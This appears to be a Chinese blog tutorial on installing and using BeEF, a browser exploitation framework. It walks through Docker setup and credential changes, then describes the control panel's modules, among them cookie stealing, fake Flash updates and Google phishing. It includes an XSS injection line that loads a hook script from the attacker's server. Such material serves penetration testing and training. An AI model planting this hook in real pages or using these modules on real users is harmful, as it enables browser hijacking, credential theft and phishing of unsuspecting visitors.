工具介绍
BeEF(Browser Exploitation Framework)
是一个专门设计用于利用浏览器漏洞的工具。它的主要目的是通过 Web
浏览器与目标系统建立连接,然后利用浏览器的安全漏洞进行攻击。
"XSS"
代表跨站脚本攻击,而 BeEF
则是在这方面发挥较大作用的工具之一。
BeEF
的功能包括:
- 浏览器指纹识别: 可以识别目标系统上正在运行的浏览器类型和版本。
- 漏洞利用: 利用浏览器的安全漏洞,可能包括
XSS
漏洞。
- 模块化架构: 允许用户自定义和添加模块,以执行各种攻击。
- 实时通信:
BeEF
可以与浏览器建立实时通信,使攻击者能够与受害者进行交互。
工具安装
Docker Build
1
| git clone https://github.com/beefproject/beef
|
BeEF
默认情况下将其凭据设置为 beef:beef
,但不允许使用默认凭据进行身份验证。因此,如果在不更改凭据的情况下构建映像,将无法验证容器的 BeEF
实例。
- 官方说的很清楚了
(淦,我排了半天错),修改 config.yaml
文件:
1 2 3
| credentials: user: '<YOUR_USERNAME>' passwd: '<YOUR_PASSWORD>'
|
1 2 3 4 5 6 7 8 9 10 11
| $ docker build -t beef . Sending build context to Docker daemon 19.95MB Step 1/17 : FROM ruby:3.2.1-slim-bullseye AS builder ---> b9f8bf7d7eeb Step 2/17 : COPY . /beef ---> Using cache ---> ddf36f3f9c4b Step 3/17 : RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc && apt-get update && apt-get install -y --no-install-recommends git curl xz-utils make g++ libcurl4-openssl-dev ruby-dev libffi-dev zlib1g-dev libsqlite3-dev sqlite3 && bundle install --gemfile=/beef/Gemfile --jobs=`nproc` && rm -rf /usr/local/bundle/cache && chmod -R a+r /usr/local/bundle && rm -rf /var/lib/apt/lists/* ---> Running in bb89a023e53d Get:1 http://deb.debian.org/debian bullseye InRelease [116 kB] ......
|
Docker Pull
- 有一点很奇怪,虽然
BeEF
在 HubDocker
上有镜像,但并没讲怎么用,反而还需要去 GitHub
上下载源码安装。
- 所以这里我们来 pull 镜像研究研究,使用如下命令直接拉取并启动容器:
注:这里简化了一下,将其他端口去掉了,3000
端口为管理和钩子端口。
1
| docker run -p 3000:3000 --name beef beefproject/beef
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $ docker run -p 3000:3000 --name beef beefproject/beef Unable to find image 'beefproject/beef:latest' locally latest: Pulling from beefproject/beef df9b9388f04a: Pull complete 837e9cfc7e43: Pull complete c7850f1a8c23: Pull complete a5f36e54b937: Pull complete b17f74a51c32: Pull complete 290444b6f870: Pull complete e71f43b679fd: Pull complete 36a6526cc553: Pull complete 119cc18ec3b0: Pull complete Digest: sha256:d2eeff1f55819ea6ab14f3b0c678697bd0cee00d6cfc820e277b698fa0395f49 Status: Downloaded newer image for beefproject/beef:latest [ 3:23:51][!] ERROR: Default username and password in use! [ 3:23:51] |_ Change the beef.credentials.passwd in config.yaml
|
1 2 3 4
| $ find / -name beef_key.pem /var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/beef_key.pem /root/Desktop/beef/beef_key.pem /root/.cache/vmware/drag_and_drop/plYD2k/beef/beef_key.pem
|
- 这样即可找到对应的配置文件,修改
config.yaml
文件即可:
1
| $ vim /var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/config.yaml
|
1 2
| $ docker start beef beef
|
- 当然还有一个其他大佬做成的镜像,是可以直接使用的:
1
| docker run -p 3000:3000 --name beef janes/beef
|
APT Install
- 如果是在
Kali Linux
里面,安装会简单很多:
工具使用
- 在启动
BeEF
时,终端命令行中出现以下四个重要网址,功能介绍如下:
- Web 界面管理控制台:
http://xxx.xxx.xxx.xxx:3000/ui/panel
- 钩子链接:
http://xxx.xxx.xxx.xxx:3000/hook.js
- 只要有人运行该文件,就会在管理控制台上线(上钩)。
- 测试网址:
http://xxx.xxx.xxx.xxx:3000/demos/basic.html
:演示使用范例
http://xxx.xxx.xxx.xxx:3000/demos/butcher/index.html
:带有钩子的页面
- 访问
demos/butcher/index.html
页面,测试能否上钩:
- 页面模块说明如下:
Online Browsers
:在线浏览器,工具定时发送链接请求,链接成功就会显示在这里。
Offline Browsers
:离线浏览器
Getting Started
:入门指南,官方的一些文档
Logs
:日志,记录工具做过哪些操作
Zombies
:僵尸,记录可以利用的目标站点
Current Browser
:上线的浏览器,只有在目标在线的时候才会显示出来。
Details
:细节,展示目标的IP、版本等信息
Logs
:日志、记录目标浏览器做过哪些操作
Command
:指令,工具的核心,不同的指令对应不同的操作
Module Tree
:模块树,可以使用的模块功能
Mpdule Result History
:模块使用记录
Proxy
:代理设置。
XssRays
:检查页面的链接、表单和 URI 路径(浏览器挂钩的位置)是否容易受到 XSS 攻击。
Network
:查看对方路由跳转。
常用模块介绍
注:执行操作时,心跳检测一般会停止。
- 在
Command
窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:
- 绿色模块:模块可用,并且执行结果对用户不可见;
- 橙色模块:模块可用,但结果可能对用户可见;
- 灰色模块:模块不一定可用,没测试过;
- 红色模块:模块不可用。
Module Tree
常用分类:
Browser
:浏览器
Get Cookie
:获取 Cookie
信息
Unhook
:脱离控制,脱钩
Create Alert Dialog
:创建报警对话框
Create Prompt Dialog
:创建提示对话框
Detect Popup Blocker
:检测弹出窗口阻止程序
Redirect Browser
:浏览器重定向
Social Engineering
:社会工程
Fake Flash Update
:虚假 Flash 更新
Fake Notification Bar
:虚假通知栏
Google Phishing
:Google
网络钓鱼
Pretty Theft
:漂亮的盗窃
- 先定义一个插入语句:
1
| <script src="http://xxx.xxx.xxx.xxx:3000/hook.js"></script>
|
Browser
Get Cookie
Unhook
- 可以看到对方存活判断报文已停止,主机处以离线状态:
Create Alert Dialog
Create Prompt Dialog
Redirect Browser
Social Engineering
Fake Flash Update
Fake Notification Bar
Google Phishing
Pretty Theft